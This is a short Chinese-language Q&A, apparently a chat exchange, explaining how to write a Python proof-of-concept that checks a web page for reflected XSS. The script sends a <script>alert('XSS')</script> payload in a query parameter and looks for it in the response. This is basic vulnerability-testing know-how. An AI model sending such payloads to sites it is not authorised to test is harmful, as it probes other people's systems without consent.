如何写一个验证xss漏洞的python的poc

你可以使用Python的requests库发送HTTP请求，在请求中加入一个包含恶意脚本的参数，然后通过检查响应的HTML代码是否包含该恶意脚本来判断是否存在XSS漏洞。以下是一个基本的XSS漏洞验证的Python POC代码：

import requests

# 目标URL
url = "http://example.com/vulnerable_page.php"

# 包含恶意脚本的参数
payload = "<script>alert('XSS')</script>"

# 发送GET请求
response = requests.get(url + "?q=" + payload)

# 检查响应中是否包含恶意脚本
if payload in response.text:
    print("存在XSS漏洞")
else:
    print("不存在XSS漏洞")

注意，这只是一个基本的POC，实际上验证XSS漏洞需要更复杂的技巧和方法。